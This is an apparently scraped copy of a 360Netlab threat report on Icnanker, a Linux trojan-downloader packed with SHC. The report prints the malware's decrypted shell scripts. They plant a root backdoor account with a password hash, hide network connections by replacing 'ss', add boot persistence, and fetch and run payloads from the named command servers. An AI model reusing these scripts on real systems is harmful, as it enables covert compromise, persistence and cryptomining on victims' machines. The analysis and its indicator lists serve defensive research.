Icnanker, a Linux Trojan-Downloader Protected by SHC | xxxIcnanker, a Linux Trojan-Downloader Protected by SHC – xxx
菜单

Icnanker, a Linux Trojan-Downloader Protected by SHC

三月 23, 2020 - 360netlab

Background

On August 15, 2019, 360Netlab Threat Detecting System flagged an unknown ELF sample (5790dedae465994d179c63782e51bac1) which generated Elknot Botnet related network traffic. We manually took a look and noticed that it is a Trojan-Downloader which utilizes "SHC (Shell script compiler)" technique and propgrates through weak SSH credentials. The author appeared to be an old player Icnanker. Icnanker was exposed on the Internet in 2015 as a script programmer, who has a high-profile personality and likes to leave his QQ number and name in his codes. The sample, in our opinion, was not much new and therefore we did not bother to write anything.

On March 12, 2020, IntezerLab twittered about a Icnanker variant (6abe83ee8481b5ce0894d837eabb41df). They did not give much details and we figured it is probably worth writing down a few interesting features that we observed.

Overview

Icnanker is the first Linux malware family we observed that uses SHC. Its name is derived from the author’s ID "by icnanker" in the script.

The current Icnanker samples can be divided into 2 categories according to their functions:

Reverse analysis

Let’s take a look at the following two samples.
187fa428ed44f006df0c8232be4a6e4e Miner Protector,
5790dedae465994d179c63782e51bac1 Elknot Botnet Downloader.

MD5:5790dedae465994d179c63782e51bac1

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=8368ecf43c311327ed1b8e011f25b87ceef7f065, stripped

Packer: No

Verdict:Malicious,Downloader

187fa428ed44f006df0c8232be4a6e4e
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped

Packer:No

Verdict:Malicious,Protector

We know on the Windows platform, there is a technology for packaging BAT scripts into executable files, which is called Bat2Exe. Similarly, on the Linux platform,there is an open source "SHC (Shell script compiler)" that packs shell scripts into executable files. SHC uses the RC4 algorithm to encrypt the original script. The ELF file generated by it has very obvious characteristics: the RC4 decryption function is called a total of 14 times,and there are many unique strings. Security researchers can tell fairly easily whether ELF is generated by SHC.


As mentioned above, we can use the RC4 algorithm to manually extract the original script. (Another option is to use UnSHc to directly decrypt the script)

[*] Extracting each args address and size for the 14 arc4() calls with address [0x8048f65]...  [0] Working with var address at offset [0x80ed087] (0x2a bytes)  [1] Working with var address at offset [0x80ed0df] (0x1 bytes)                             ...............  [12] Working with var address at offset [0x80f1280] (0x13 bytes)  [13] Working with var address at offset [0x80f12b1] (0x13 bytes) [*] Extracting password...  [+] PWD address found : [0x80f12ed]  [+] PWD size found : [0x100] [*] Executing [/tmp/kjGnQn] to decrypt [5790dedae465994d179c63782e51bac1] [*] Retrieving initial source code in [5790dedae465994d179c63782e51bac1.sh] [*] All done!                             ............... [*] Executing [/tmp/GRsVsP] to decrypt [187fa428ed44f006df0c8232be4a6e4e] [*] Retrieving initial source code in [187fa428ed44f006df0c8232be4a6e4e.sh] [*] All done!   

Protector (187fa428ed44f006df0c8232be4a6e4e.sh)

#!/bin/bash cp -f /usr/bin/chattr /usr/bin/lockr cp -f /usr/bin/chattr /usr/bin/.locks cp -f /usr/bin/.locks /usr/bin/lockr chmod 777 /usr/bin/lockr chmod 777 /usr/bin/.locks lockr +i /usr/bin/lockr >/dev/null 2>&1 lockr +i /usr/bin/.locks >/dev/null 2>&1 .locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr lockr +i /usr/bin/lockr >/dev/null 2>&1 cp -f /usr/bin/lsattr /usr/bin/lockrc cp -f /usr/bin/lsattr /usr/bin/.locksc cp -f /usr/bin/.locksc /usr/bin/lockrc chmod 777 /usr/bin/lockrc chmod 777 /usr/bin/.locksc lockr +i /usr/bin/lockrc >/dev/null 2>&1 lockr +i /usr/bin/.locksc >/dev/null 2>&1 .locks -i /usr/bin/lockrc;chmod 777 /usr/bin/lockrc lockr +i /usr/bin/lockrc >/dev/null 2>&1 rm -rf /usr/bin/lsattr rm -rf /usr/bin/chattr lockr +a /var/spool/cron/crontabs/root lockr +i /var/spool/cron/crontabs/root lockr +a /var/spool/cron/root lockr +i /var/spool/cron/root lockr +i /usr/lib/.cache/ lockr +i /usr/lib/.cache rm -f $0 

In this script, we can clearly see that the system commands chattr, lsattr are renamed and deleted, and the directory .cache, where mining script located,is protected, and the immutable attribute is enabled to prevent from being deleted.

Downloader (5790dedae465994d179c63782e51bac1.sh)

    ------------from 5790dedae465994d179c63782e51bac1.sh----------                 ...............     echo "byicnanker 2228668564" > $Config  tempfile=`cat $Config | awk '{print $1}'`  filetemp="/usr/bin/$tempfile" #现马的路径  filename=`date +%s%N | md5sum | head -c 10`  filepath="/usr/bin/$filename" #新马的路径  tempbash=`cat $Config | awk '{print $2}'`  bashtemp="/usr/bin/$tempbash" #现脚本路径  bashname=`date +%s%N | md5sum | head -c 10`  bashpath="/usr/bin/$bashname" #新脚本路径                ............... 

This section has a typical icnanker marks, we can clearly see the icnanker logo, QQ, Chinese annotations, etc.

Since the script is in plain text, the functions are clear at a glance, and there are mainly 5 functions.

  # by icnanker -----------------------------------------------   Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l`   if [ $Repeatstart != 1 ];then    lockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local   fi   if [ -z "`cat /etc/rc.local | grep "$bashtemp"`" ]; then    if [ -z "`cat /etc/rc.local | grep "$exit0"`" ]; then     lockr -i /etc/;lockr -i /etc/rc.local     echo "$bashpath start" >> /etc/rc.local    else     lockr -i /etc/;lockr -i /etc/rc.local     sed -i "s|exit 0|$bashpath start|" /etc/rc.local     echo "exit 0">>/etc/rc.local    fi   fi 
if [ -f /bin/ss ];then  if [ ! -f "$iss" ];then   if [ ! -f "$issbak" ];then    lockr -i /usr/bin/;mkdir /usr/bin/dpkgd/    cp -f /bin/ss $issbak    cp -f /bin/ss $iss   else    cp -f $issbak $iss   fi   chmod 777 $iss;chmod 777 $issbak   lockr +i $issbak >/dev/null 2>&1   lockr +i $iss >/dev/null 2>&1  else   if [ ! -f "$issbak" ];then    lockr -i /usr/bin/;cp -f $iss $issbak    lockr +i $issbak >/dev/null 2>&1   fi    if [ -z "`cat /bin/ss | grep $Address`" ]; then    lockr -i /bin/;lockr -i /bin/ss    echo '#!/bin/sh' > /bin/ss    echo 'iss|grep -v "'$Address'"' >> /bin/ss    echo 'exit' >> /bin/ss    chmod 777 /bin/ss;lockr +i /bin/ss >/dev/null 2>&1   fi  fi fi  
lockr -i /usr/bin/; lockr -i /usr/bin/wget; rm -f /usr/bin/wget; lockr -i /usr/bin/chattr; rm -f /usr/bin/chattr 
  # by icnanker -----------------------------------------------   if [ -z "`cat /etc/passwd|grep "ntps"`" ]; then    lockr -i /etc/;lockr -i /etc/passwd #ntps    echo 'ntps:x:0:1:ntps:/root:/bin/bash' >> /etc/passwd    lockr -i /etc/;lockr +i /etc/passwd >/dev/null 2>&1   fi   if [ -z "`cat /etc/shadow|grep "ntps"`" ]; then    lockr -i /etc/;lockr -i /etc/shadow #tianyong    echo 'ntps:$6$J6RdL6Xh$udhpd5iErOxXyZSERCi0NOtoXE9J095xDRo4DJfCoTEsImcxype6iltDL8pTG7w/7Gbp9Ohrii9O.4NnxqG/h.:16583:0:99999:7:::' >> /etc/shadow    lockr -i /etc/;lockr +i /etc/shadow >/dev/null 2>&1   fi 
  # by icnanker -----------------------------------------------   iptable=`iptables -L INPUT | grep "$Address" | grep 'ACCEPT'`   if [ -z "$iptable" ];then    iptables -I INPUT -s $Address -j ACCEPT   else    iptables -D INPUT -s $Address -j DROP   fi   process=`ips -ef | grep "$tempfile" | grep -v "grep" | wc -l`   if [ $process != 1 ];then    if [ ! -f "$filebak" ];then     lockr -i /usr/bin/;lockr -i /usr/bin/htrdpm;rm -f /usr/bin/htrdpm     cd /usr/bin/;dget http[://hfs.ubtv.xyz:22345/htrdpm     cd $path;mv -f /usr/bin/htrdpm $filepath    else     cp -f $filebak $filepath    fi    Runkillallconnect    chmod 777 $filepath    nohup $filepath >/dev/null 2>&1 &   fi 

At this point, Icnanker will load itself when system boots and maintain continuously control of the victim secretly. At the same time, Icnanker has pretty flexible configuration. When migrating from one service to another, the author only needs to update the dns settings in the scripts.

Take the Elknot and Miner as examples

elknot  ResolveIP=`nslookup [ddd.ubtv.xyz|grep "Address: "|awk '{print $2}'` if [ -z "$ResolveIP" ];then  lockr -i /etc/;lockr -i /etc/resolv.conf  echo 'nameserver 114.114.114.114' > /etc/resolv.conf  echo 'nameserver 8.8.8.8' >> /etc/resolv.conf  echo 'nameserver 8.8.4.4' >> /etc/resolv.conf  lockr +i /etc/resolv.conf >/dev/null 2>&1  service network restart;sleep 1  Address=`nslookup ddd.ubtv.xyz|grep "Address: "|awk '{print $2}'` else  Address="$ResolveIP" fi  dget http[://hfs.ubtv.xyz:22345/htrdpm  -------------------------------------------VS----------------------------------------  miner  ResolveIP=`nslookup p[ool.supportxmr.com|grep "Address: "|awk '{print $2}'` if [ -z "$ResolveIP" ];then  lockr -i /etc/;lockr -i /etc/resolv.conf  echo 'nameserver 114.114.114.114' > /etc/resolv.conf  echo 'nameserver 8.8.8.8' >> /etc/resolv.conf  echo 'nameserver 8.8.4.4' >> /etc/resolv.conf  lockr +i /etc/resolv.conf >/dev/null 2>&1  service network restart;sleep 1  Address=`nslookup p[ool.supportxmr.com|grep "Address: "|awk '{print $2}'` else  Address="$ResolveIP" fi  dget http[://xz.jave.xyz:22345/.xm 

Here is a list of Downloader and theirs services currently we observed.

filenamemd5payload typepayload url
805790dedae465994d179c63782e51bac1elknot botnethttp[://hfs.ubtv.xyz:22345/htrdpm
.ds1;.ds26abe83ee8481b5ce0894d837eabb41dfminerhttp[://xz.jave.xyz:22345/.xm
.ssh89cd1ebfa5757dca1286fd925e0762deelknot botnethttp[://hfs.ubtv.xyz:22345/htrdpm
19880d989e81c4eb23c1e701024ed26f55849elknot botnethttp[://hfs.ubtv.xyz:22345/htrdps

Icnanker’s distributed samples

Icnanker’s distributed samples are all stored on its HFS server, and from what we have seen so far, all samples are the typical botnet families: Elknot Botnet, Xor Botnet, and XMR mining service.

Suggestions

We recommend that users watch for the clues we mentioned above and block the C2 on their networks,
We also suggest strong login credentials should always be enforced.

Contact us

Readers are always welcomed to reach us on twitter, or email to netlab at 360 dot cn.

IoC list

Sample MD5

5790dedae465994d179c63782e51bac1 6abe83ee8481b5ce0894d837eabb41df 89cd1ebfa5757dca1286fd925e0762de d989e81c4eb23c1e701024ed26f55849 5c90bfbae5c030da91c9054ecb3194b6 eec19f1639871b6e6356e7ee05db8a94 0764da93868218d6ae999ed7bd66a98e 17ac3bd2753b900367cb9ee4068fe0c1 765a0899cb87400e8a27ab572f3cdd61 187fa428ed44f006df0c8232be4a6e4e 

CC

ubt.ubtv.xyz:19880 #Elknot sys.jave.xyz:1764  #Elknot jav.jave.xyz:6001  #Elknot 8uch.jave.xyz:3478 #Xor.DDoS 8uc1.jave.xyz:1987 #Xor.DDoS 8uc2.ubtv.xyz:2987 #Xor.DDoS xz.jave.xyz:22345  #Icnanker HFS 

Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51